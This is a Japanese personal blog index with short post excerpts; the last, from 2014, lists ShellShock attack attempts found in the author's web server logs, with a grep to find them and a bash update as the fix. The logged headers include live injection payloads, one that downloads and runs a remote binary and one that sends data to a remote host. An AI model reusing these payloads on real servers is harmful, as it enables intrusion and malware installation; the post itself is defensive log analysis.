ku:neko ism

SimilarWebのデータはどの程度正しいのか

Posted at 2月 20, 2015

競合サイトや自分のサイトのことをもっと知りたいとき、そういう解析・診断ツールは世の中には沢山ある。

問題は信頼性だが、自分のサイトは自身のアクセス解析が一番なのは言うまでもなく、たいていの外部の解析ツールは「何となく分かった気持ちになって、お茶を濁し、気分を落ち着かせる」というような参考程度のものである。

昨年からよく聞くようになった「SimilarWeb（無料版）」がどの程度使えるのか、re.Find2ch で見てみることにした。

Pocket

Blogger・Tumblr・はてなブログの徹底比較〜真面目に文章を書くときのブログ選び〜

Posted at 2月 04, 2015

いざ、ブログでちゃんとした文章を書こうと思って、選択肢に挙がったのがBlogger、Tumblr、はてなブログでした。どこかのブログサービスを使いたいというのは、書くこと以外の手間を減らし、WordPressなどの管理に時間を掛けたくないからです。

実際に使ってみた経験も含めて、徹底的に比較してみることにしました。

（Tumblrは2年、はてなブログは半年くらい使ってみました。Bloggerは数ヶ月、現在メインに使っています）

※出来るだけ公平に見ているつもりですが、主観も混じっているかもしれません。

Pocket

さくらのVPS SSD、東京と石狩でスペックや価格が違う

Posted at 1月 19, 2015

さくらのVPSのSSDプランが2014年11月にリニューアルされたが、東京リージョン（新バージョン）と石狩リージョン（旧バージョン）でスペックと価格に違いがあったので、自分用にまとめた。

「さくらのVPS」サービスをリニューアルいたしました（2014年11月27日掲載)

http://www.sakura.ad.jp/news/sakurainfo/newsentry.php?id=996

2015年1月現在さくらのVPSの料金詳細ページに書かれているのは東京リージョンの料金体系だけなので、リージョンを含めたプラン選びをするときは注意したい。

Pocket

インターステラーが見せた、未来の宇宙探査と世界予想図

Posted at 1月 03, 2015

（この記事はネタバレを含んでいます、小説を読まず映画だけ観て書いています）

先日、クリストファー・ノーランの「インターステラー」、二度目をIMAX劇場で観てきた。
僕の住んでいる京都府内にはIMAXはなく、大阪の109シネマズ箕面まで（片道1時間半程）。
休日であり最も混む夕方とあってか、席は8割方埋まっていた。
久々に痺れるハードSFだった。

インターステラーのタイムライン解説グラフィック (deviantart)

現在、過去、未来を激しく行き来するインターステラーの時間軸が分かりやすく図式で解説されている。

Interstellar Movie Timeline.
by sivadigitalart

Pocket

2014年のUstreamを年間でまとめてみました。

Posted at 12月 31, 2014

日本のUstreamのデータを蓄積しているUstweetのデータを使って、2014年の一年間を通しての、日本のUstreamのランキングを取ってみました。

週間ランキングでお馴染みの、チャンネル毎のツイート数・ツイートユーザー数に加え、視聴数の伸びも加えました。公開はしていないのですが、Ustweetでは2014年より視聴数の記録も一応しています。

既に企業と有名人と極小のコアユーザーしか使わなくなっているような Ustream ですが、一体どこまで続けられるものでしょうかね。

続きは (http://ustweet.net/matome/2014/index) で。

Pocket

明るすぎるスマホ画面を暗くするカバーを自作する

Posted at 12月 20, 2014

お布団のそば、枕もとまでスマートフォンを持っていって寝る前にポチポチ。
横になってからも中々眠れず、またポチポチ。
そんなことをやっている依存症な人は割りと多いんじゃないかと思います。

枕元でスマホを触っていると、
いくら輝度（明るさ）を最低まで落としていても明るすぎて
全然眠くならない、困った、という人へ。

寝るときだけ簡単に装着できる、画面を暗くするカバーをオススメします。
売っていないので自作ですが、実際に使っているものを紹介します。

Pocket

bash 脆弱性「ShellShock」の試行を示すHTTPアクセスログ

Posted at 9月 29, 2014

httpdのアクセスログを対象に以下のコマンドを実行してみると、結構ボロボロ出てきて怖い。
管理するサイトに来ている bash の脆弱性「ShellShock」にあたる攻撃の跡です。

ひとまず yum update bash で対処。mod_security も入れるべきかな。

grep '()' /var/log/httpd/access_log /var/log/httpd/ssl_access_log

ログの一部。
※外部URLを指定されているログは、リンクを防ぐために「http」を抜いています。

209.126.230.72 - - [25/Sep/2014:12:49:42 +0900] "GET / HTTP/1.0" 200 78 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)”
89.207.135.125 - - [25/Sep/2014:18:49:42 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1 198.101.206.138”
54.251.83.67 - - [28/Sep/2014:01:57:22 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
24.251.197.244 - - [25/Sep/2014:20:17:42 +0900] "GET / HTTP/1.1" 200 17487 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
166.78.61.142 - - [26/Sep/2014:00:54:52 +0900] "GET / HTTP/1.1" 200 17467 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”
82.221.105.197 - - [29/Sep/2014:06:18:49 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"wget 82.221.105.197/bash-count.txt\""
93.103.21.231 - - [26/Sep/2014:08:40:00 +0900] "GET / HTTP/1.1" 200 17306 "-" "() { :;}; wget 'taxiairportpop.com/s.php?s=example.com/'"
62.210.75.170 - - [29/Sep/2014:18:23:46 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 224 "() { :; }; wget creditstat.ru/ZmJzZWFyY2gubmV0U2hlbGxTaG9ja1NhbHQ= >> /dev/null" "() { :; }; wget creditstat.ru/ZmJzZWFyY2gubmV0U2hlbGxTaG9ja1NhbHQ= >> /dev/null”
94.102.60.177 - - [26/Sep/2014:22:59:10 +0900] "GET /cgi-bin/test.cgi HTTP/1.1" 404 214 "-" "() { x;};echo;echo 123456ololo | md5sum"
83.166.234.133 - - [27/Sep/2014:11:21:09 +0900] "GET / HTTP/1.0" 200 17553 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null ad.dipad.biz/test/example.com/\”"
70.42.149.72 - - [27/Sep/2014:11:58:11 +0900] "GET / HTTP/1.0" 200 78 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\”"
54.251.83.67 - - [28/Sep/2014:01:57:22 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a”
82.221.105.197 - - [29/Sep/2014:06:18:49 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"wget 82.221.105.197/bash-count.txt\""
8.37.217.197 - - [29/Sep/2014:18:42:37 +0900] "GET /search HTTP/1.1" 404 - "-" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
8.37.217.199 - - [29/Sep/2014:18:42:37 +0900] "GET /search HTTP/1.1" 404 - "-" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"

　
　
　
この辺りを参考にして対処。

bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた

Pocket